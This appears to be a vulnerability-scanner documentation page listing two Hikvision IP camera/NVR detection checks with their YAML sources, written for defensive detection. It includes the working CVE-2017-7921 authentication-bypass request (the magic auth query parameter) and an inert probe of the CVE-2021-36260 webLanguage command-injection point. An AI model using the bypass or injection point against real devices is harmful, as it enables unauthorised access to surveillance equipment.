Hikvision — 2 vulnerability checks

noctis ships 2 vulnerability checks for Hikvision, covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Hikvision Authentication Bypass

CVECVE-2017-7921
Severitycritical · CVSS 9.8
Categoryauth-bypass — Auth bypass
Serviceshttp, https
Detectionscript, http_request, match · highest QoD 75
Feedtests/vulnerabilities/hikvision/CVE-2017-7921.yaml

Tests Hikvision IP cameras / NVRs for the CVE-2017-7921 authentication bypass. The magic query parameter auth=YWRtaW46MTEK discloses privileged device info (/system/deviceInfo) to an unauthenticated request. Detection is differential: the magic-param request returns 200 + application/xml + <firmwareVersion> on a vulnerable device and 401 on a patched one, with a per-run nonce echoed in the disclosed XML to defeat constant responses.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET /system/deviceInfo?auth=YWRtaW46MTEK&probe={{nonce}}
  3. Checks resp.body for <firmwareVersion> → finding QoD 75: Unauthenticated device info disclosed via auth-bypass magic parameter — status 200, Content-Type application/xml, firmware: …

References:

Feed source — tests/vulnerabilities/hikvision/CVE-2017-7921.yaml
# Hikvision Authentication Bypass — CVE-2017-7921
#
# Many Hikvision IP cameras / NVRs expose a backdoor: appending the magic query
# parameter `?auth=YWRtaW46MTEK` (base64 of a hardcoded exploit string) to a
# privileged endpoint bypasses authentication entirely. An unauthenticated GET
# of /system/deviceInfo then returns the device configuration XML — firmware
# version, model, serial — that should require admin credentials.
#
# CVSS 9.8 (NVD v3.1), CISA KEV, actively exploited (Metasploit, ProjectDiscovery Nuclei
# http/cves/2017/CVE-2017-7921.yaml, jorhelp/Ingram).
#
# Detection (safe, differential):
#   GET /system/deviceInfo?auth=<magic>&<nonce>  → 200 + application/xml +
#   <firmwareVersion> on a vulnerable device; 401 on a patched one. The request
#   carries a per-run nonce that the disclosed XML must echo, so a constant or
#   unrelated page cannot satisfy the match. No credentials, no writes — a single
#   unauthenticated read that proves privileged data is disclosed.
uid: 63e4de38-0d50-4689-8965-a396fc301333
name: "Hikvision Authentication Bypass (CVE-2017-7921)"
description: |
  Tests Hikvision IP cameras / NVRs for the CVE-2017-7921 authentication bypass.
  The magic query parameter auth=YWRtaW46MTEK discloses privileged device info
  (/system/deviceInfo) to an unauthenticated request. Detection is differential:
  the magic-param request returns 200 + application/xml + <firmwareVersion> on a
  vulnerable device and 401 on a patched one, with a per-run nonce echoed in the
  disclosed XML to defeat constant responses.
cves: [CVE-2017-7921]
cvss: 9.8
severity: critical
confidence_base: 0.25
category: auth-bypass
tags: [hikvision, camera, nvr, auth-bypass, kev, iot]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2017-7921"
  - "https://github.com/jorhelp/Ingram"
  - "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2017/CVE-2017-7921.yaml"
  - "https://www.rapid7.com/db/?q=CVE-2017-7921"

steps:
  # Per-run nonce — echoed back by a genuinely vulnerable device, so a constant
  # or unrelated response cannot satisfy the match.
  - id: gen-nonce
    action: script
    code: |
      "noctis" + rand_hex(8)
    store_as: nonce

  # Magic-param request: auth=YWRtaW46MTEK bypasses authentication. The nonce
  # rides along as a second query parameter.
  - id: bypass-probe
    action: http_request
    method: GET
    path: "/system/deviceInfo?auth=YWRtaW46MTEK&probe={{nonce}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: resp

  # Vulnerable: 200 + application/xml + <firmwareVersion> AND our nonce echoed.
  # Patched: 401 (even with the magic param) → condition false → no finding.
  - id: bypass-match
    action: match
    source: resp.body
    pattern: "<firmwareVersion>"
    condition: 'resp.status == 200 && stridx(resp.body, nonce) >= 0 && stridx(resp.headers["content-type"], "application/xml") >= 0'
    on_match:
      finding:
        confidence_delta: 0.45
        qod: 75
        evidence: "Unauthenticated device info disclosed via auth-bypass magic parameter — status 200, Content-Type application/xml, firmware: {{resp.body}}"
      stop: true

Hikvision IP camera/NVR webLanguage Input-Handling Flaw

CVECVE-2021-36260
Severitycritical · CVSS 9.8
Categoryrce — Remote code execution
Serviceshttp, https
Detectionscript, http_request, match · highest QoD 75
Feedtests/vulnerabilities/hikvision/CVE-2021-36260.yaml

Detects the unauthenticated PUT /SDK/webLanguage input-handling flaw in Hikvision IP cameras and NVRs. A per-run nonce is embedded in the `<language>` value with an empty `$()` group separating the literal marker from the nonce; a vulnerable device mishandles the value and reflects the two parts joined, which the feed confirms against the freshly minted nonce. Fully inert — no file read/write, no command run.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. Parses / computes the next value with a Rhai script
  3. HTTP(S) request PUT /SDK/webLanguage with a crafted body
  4. Checks resp.body for NOCTIS[0-9a-f]{32} → finding QoD 75: Hikvision webLanguage input-handling flaw confirmed — device joined the marker and per-run nonce (resolved the empty $() group) in the PUT …

References:

Feed source — tests/vulnerabilities/hikvision/CVE-2021-36260.yaml
# Hikvision IP camera / NVR — unauthenticated webLanguage input-handling flaw (CVE-2021-36260)
#
# Affected Hikvision devices mishandle a crafted value in the `<language>` element
# of an unauthenticated PUT /SDK/webLanguage request. A vulnerable device processes
# the value instead of treating it as inert text.
#
# Detection (benign, reflection-based — NO file I/O, NO command execution):
#   A per-run nonce `tok = rand_hex(16)` is minted and a marker `NOCTIS<tok>` is
#   formed. The PUT body carries the `<language>` value NOCTIS$()<tok>, where the
#   literal `NOCTIS` and the nonce are separated by an EMPTY `$()` group. Only a
#   device that MISHANDLES the value (resolving the empty group away) reflects the
#   two parts JOINED as `NOCTIS<tok>` back in the response. A device that treats the
#   value as literal text keeps `$()` in between, and a patched device rejects the
#   request (400/403) — in neither case does the joined marker appear.
#
#   The match requires BOTH the shape `NOCTIS[0-9a-f]{32}` AND the exact per-run
#   nonce (stridx(resp.body, marker) >= 0), so a device that unconditionally prints
#   a constant `NOCTIS...` string cannot produce a false positive: its constant can
#   never carry this run's freshly minted nonce.
uid: 0f198374-db18-4d78-83bb-da46b4ba555e
name: "Hikvision IP camera/NVR webLanguage Input-Handling Flaw (CVE-2021-36260)"
description: |
  Detects the unauthenticated PUT /SDK/webLanguage input-handling flaw in Hikvision
  IP cameras and NVRs. A per-run nonce is embedded in the `<language>` value with an
  empty `$()` group separating the literal marker from the nonce; a vulnerable device
  mishandles the value and reflects the two parts joined, which the feed confirms
  against the freshly minted nonce. Fully inert — no file read/write, no command run.
cves: [CVE-2021-36260]
cvss: 9.8
severity: critical
category: rce
confidence_base: 0.30
tags: [hikvision, camera, nvr, rce, iot, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2021-36260"
  - "https://watchfulip.github.io/2021/09/18/Hikvision-IP-Camera-Unauthenticated-RCE.html"

steps:
  # 1 — mint a fresh per-run nonce (16 bytes → 32 hex chars).
  - id: mint-nonce
    action: script
    code: 'rand_hex(16)'
    store_as: tok

  # 2 — form the marker the joined reflection must carry: NOCTIS + nonce.
  - id: build-marker
    action: script
    code: '"NOCTIS" + tok'
    store_as: marker

  # 3 — send the inert probe. The `<language>` value is NOCTIS$()<tok>: the literal
  #     NOCTIS and the nonce separated by an EMPTY $() group. $() is literal text in
  #     the body (only {{...}} is templated), so nothing is computed by noctis.
  - id: probe
    action: http_request
    method: PUT
    path: "/SDK/webLanguage"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    headers:
      Content-Type: "application/xml"
    body: '<?xml version="1.0" encoding="UTF-8"?><language>NOCTIS$(){{tok}}</language>'
    store_as: resp

  # 4 — confirm ONLY when the device joined NOCTIS and the nonce (the $() group was
  #     resolved away): the body must match NOCTIS<32 hex> AND contain this exact
  #     run's marker. A literal-reflecting device keeps $() between the two parts; a
  #     constant NOCTIS... banner cannot carry this run's nonce; a patched device 4xx.
  - id: confirm
    action: match
    source: resp.body
    pattern: "NOCTIS[0-9a-f]{32}"
    condition: "stridx(resp.body, marker) >= 0"
    on_match:
      finding:
        confidence_delta: 0.45
        qod: 75
        evidence: "Hikvision webLanguage input-handling flaw confirmed — device joined the marker and per-run nonce (resolved the empty $() group) in the PUT /SDK/webLanguage response at {{target_host}}:{{port}}"
      stop: true

View these feeds on GitHub